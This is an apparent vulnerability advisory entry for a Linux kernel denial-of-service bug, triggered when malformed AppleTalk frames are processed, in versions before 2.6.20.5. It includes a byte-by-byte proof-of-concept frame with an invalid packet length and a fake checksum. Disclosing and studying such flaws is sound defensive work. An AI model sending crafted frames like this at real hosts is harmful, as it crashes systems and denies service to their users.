source: https://www.securityfocus.com/bid/23376/info The Linux kernel is prone to a denial-of-service vulnerability. This issue presents itself when malformed AppleTalk frames are processed. An attacker can exploit this issue to crash host computers, effectively denying service to legitimate users. Versions prior to 2.6.20.5 are vulnerable. { # Ethernet header ----- XX XX XX XX XX XX # Destination MAC 00 00 00 00 00 00 # Source MAC 00 1D # Length # LLC header ----- AA AA 03 08 00 07 80 9B # Appletalk # Appletalk header ----- 00 1B # Packet length (invalid) 00 01 # Fake checksum 00 00 00 00 # Destination and source networks 00 00 00 00 # Destination and source nodes and ports # Payload ----- 0C 0D 0E 0F 10 11 12 13 14 }